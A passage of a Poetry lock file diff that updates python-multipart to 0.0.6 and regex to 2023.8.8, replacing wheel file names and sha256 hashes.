"0.0.5" +version = "0.0.6" description = "A streaming multipart parser for Python" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "python-multipart-0.0.5.tar.gz", hash = "sha256:f7bb5f611fc600d15fa47b3974c8aa16e93724513b49b5f95c81e6624c83fa43"}, + {file = "python_multipart-0.0.6-py3-none-any.whl", hash = "sha256:ee698bab5ef148b0a760751c261902cd096e57e10558e11aca17646b74ee1c18"}, + {file = "python_multipart-0.0.6.tar.gz", hash = "sha256:e9925a80bb668529f1b67c7fdb0a5dacdd7cbfc6fb0bff3ea443fe22bdd62132"}, ] -[package.dependencies] -six = ">=1.4.0" +[package.extras] +dev = ["atomicwrites (==1.2.1)", "attrs (==19.2.0)", "coverage (==6.5.0)", "hatch", "invoke (==1.7.3)", "more-itertools (==4.3.0)", "pbr (==4.3.0)", "pluggy (==1.0.0)", "py (==1.11.0)", "pytest (==7.2.0)", "pytest-cov (==4.0.0)", "pytest-timeout (==2.1.0)", "pyyaml (==5.1)"] [[package]] name = "python-obfuscator" @@ -1637,99 +2031,99 @@ files = [ [[package]] name = "regex" -version = "2023.6.3" +version = "2023.8.8" description = "Alternative regular expression module, to replace re." optional = false python-versions = ">=3.6" files = [ - {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"}, - {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"}, - {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"}, - {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"}, - {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"}, - {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"}, - {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"}, - {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"}, - {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"}, - {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"}, - {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"}, - {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"}, - {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"}, - {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"}, - {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"}, - {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"}, - {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"}, - {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"}, - {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"}, - {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"}, - {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"}, - {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"}, - {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"}, - {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"}, - {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"}, - {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"}, - {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"}, - {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"}, - {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"}, - {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"}, - {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"}, - {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"}, - {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"}, - {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"}, - {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"}, - {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"}, - {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"}, - {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"}, - {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"}, - {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"}, - {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"}, - {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"}, - {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"}, - {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"}, - {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"}, - {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"}, - {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"}, - {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"}, - {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"}, - {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"}, - {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"}, - {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"}, - {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"}, - {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"}, - {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"}, - {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"}, - {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"}, - {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"}, - {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"}, - {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"}, - {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"}, - {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"}, - {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"}, + {file = "regex-2023.8.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:88900f521c645f784260a8d346e12a1590f79e96403971241e64c3a265c8ecdb"}, + {file = "regex-2023.8.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3611576aff55918af2697410ff0293d6071b7e00f4b09e005d614686ac4cd57c"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b8a0ccc8f2698f120e9e5742f4b38dc944c38744d4bdfc427616f3a163dd9de5"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c662a4cbdd6280ee56f841f14620787215a171c4e2d1744c9528bed8f5816c96"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cf0633e4a1b667bfe0bb10b5e53fe0d5f34a6243ea2530eb342491f1adf4f739"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:551ad543fa19e94943c5b2cebc54c73353ffff08228ee5f3376bd27b3d5b9800"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54de2619f5ea58474f2ac211ceea6b615af2d7e4306220d4f3fe690c91988a61"}, + {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:5ec4b3f0aebbbe2fc0134ee30a791af522a92ad9f164858805a77442d7d18570"}, + {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3ae646c35cb9f820491760ac62c25b6d6b496757fda2d51be429e0e7b67ae0ab"}, + {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca339088839582d01654e6f83a637a4b8194d0960477b9769d2ff2cfa0fa36d2"}, + {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:d9b6627408021452dcd0d2cdf8da0534e19d93d070bfa8b6b4176f99711e7f90"}, + {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:bd3366aceedf274f765a3a4bc95d6cd97b130d1dda524d8f25225d14123c01db"}, + {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7aed90a72fc3654fba9bc4b7f851571dcc368120432ad68b226bd593f3f6c0b7"}, + {file = "regex-2023.8.8-cp310-cp310-win32.whl", hash = "sha256:80b80b889cb767cc47f31d2b2f3dec2db8126fbcd0cff31b3925b4dc6609dcdb"}, + {file = "regex-2023.8.8-cp310-cp310-win_amd64.whl", hash = "sha256:b82edc98d107cbc7357da7a5a695901b47d6eb0420e587256ba3ad24b80b7d0b"}, + {file = "regex-2023.8.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1e7d84d64c84ad97bf06f3c8cb5e48941f135ace28f450d86af6b6512f1c9a71"}, + {file = "regex-2023.8.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce0f9fbe7d295f9922c0424a3637b88c6c472b75eafeaff6f910494a1fa719ef"}, + {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:06c57e14ac723b04458df5956cfb7e2d9caa6e9d353c0b4c7d5d54fcb1325c46"}, + {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7a9aaa5a1267125eef22cef3b63484c3241aaec6f48949b366d26c7250e0357"}, + {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b7408511fca48a82a119d78a77c2f5eb1b22fe88b0d2450ed0756d194fe7a9a"}, + {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14dc6f2d88192a67d708341f3085df6a4f5a0c7b03dec08d763ca2cd86e9f559"}, + {file = "regex-2023.8.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48c640b99213643d141550326f34f0502fedb1798adb3c9eb79650b1ecb2f177"}, + {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0085da0f6c6393428bf0d9c08d8b1874d805bb55e17cb1dfa5ddb7cfb11140bf"}, + {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:964b16dcc10c79a4a2be9f1273fcc2684a9eedb3906439720598029a797b46e6"}, + {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7ce606c14bb195b0e5108544b540e2c5faed6843367e4ab3deb5c6aa5e681208"}, + {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:40f029d73b10fac448c73d6eb33d57b34607f40116e9f6e9f0d32e9229b147d7"}, + {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3b8e6ea6be6d64104d8e9afc34c151926f8182f84e7ac290a93925c0db004bfd"}, + {file = "regex-2023.8.8-cp311-cp311-win32.whl", hash = "sha256:942f8b1f3b223638b02df7df79140646c03938d488fbfb771824f3d05fc083a8"}, + {file = "regex-2023.8.8-cp311-cp311-win_amd64.whl", hash = "sha256:51d8ea2a3a1a8fe4f67de21b8b93757005213e8ac3917567872f2865185fa7fb"}, + {file = "regex-2023.8.8-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e951d1a8e9963ea51efd7f150450803e3b95db5939f994ad3d5edac2b6f6e2b4"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:704f63b774218207b8ccc6c47fcef5340741e5d839d11d606f70af93ee78e4d4"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22283c769a7b01c8ac355d5be0715bf6929b6267619505e289f792b01304d898"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:91129ff1bb0619bc1f4ad19485718cc623a2dc433dff95baadbf89405c7f6b57"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de35342190deb7b866ad6ba5cbcccb2d22c0487ee0cbb251efef0843d705f0d4"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b993b6f524d1e274a5062488a43e3f9f8764ee9745ccd8e8193df743dbe5ee61"}, + {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3026cbcf11d79095a32d9a13bbc572a458727bd5b1ca332df4a79faecd45281c"}, + {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:293352710172239bf579c90a9864d0df57340b6fd21272345222fb6371bf82b3"}, + {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d909b5a3fff619dc7e48b6b1bedc2f30ec43033ba7af32f936c10839e81b9217"}, + {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3d370ff652323c5307d9c8e4c62efd1956fb08051b0e9210212bc51168b4ff56"}, + {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:b076da1ed19dc37788f6a934c60adf97bd02c7eea461b73730513921a85d4235"}, + {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:e9941a4ada58f6218694f382e43fdd256e97615db9da135e77359da257a7168b"}, + {file = "regex-2023.8.8-cp36-cp36m-win32.whl", hash = "sha256:a8c65c17aed7e15a0c824cdc63a6b104dfc530f6fa8cb6ac51c437af52b481c7"}, + {file = "regex-2023.8.8-cp36-cp36m-win_amd64.whl", hash = "sha256:aadf28046e77a72f30dcc1ab185639e8de7f4104b8cb5c6dfa5d8ed860e57236"}, + {file = "regex-2023.8.8-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:423adfa872b4908843ac3e7a30f957f5d5282944b81ca0a3b8a7ccbbfaa06103"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ae594c66f4a7e1ea67232a0846649a7c94c188d6c071ac0210c3e86a5f92109"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e51c80c168074faa793685656c38eb7a06cbad7774c8cbc3ea05552d615393d8"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:09b7f4c66aa9d1522b06e31a54f15581c37286237208df1345108fcf4e050c18"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e73e5243af12d9cd6a9d6a45a43570dbe2e5b1cdfc862f5ae2b031e44dd95a8"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:941460db8fe3bd613db52f05259c9336f5a47ccae7d7def44cc277184030a116"}, + {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f0ccf3e01afeb412a1a9993049cb160d0352dba635bbca7762b2dc722aa5742a"}, + {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:2e9216e0d2cdce7dbc9be48cb3eacb962740a09b011a116fd7af8c832ab116ca"}, + {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:5cd9cd7170459b9223c5e592ac036e0704bee765706445c353d96f2890e816c8"}, + {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:4873ef92e03a4309b3ccd8281454801b291b689f6ad45ef8c3658b6fa761d7ac"}, + {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:239c3c2a339d3b3ddd51c2daef10874410917cd2b998f043c13e2084cb191684"}, + {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:1005c60ed7037be0d9dea1f9c53cc42f836188227366370867222bda4c3c6bd7"}, + {file = "regex-2023.8.8-cp37-cp37m-win32.whl", hash = "sha256:e6bd1e9b95bc5614a7a9c9c44fde9539cba1c823b43a9f7bc11266446dd568e3"}, + {file = "regex-2023.8.8-cp37-cp37m-win_amd64.whl", hash = "sha256:9a96edd79661e93327cfeac4edec72a4046e14550a1d22aa0dd2e3ca52aec921"}, + {file = 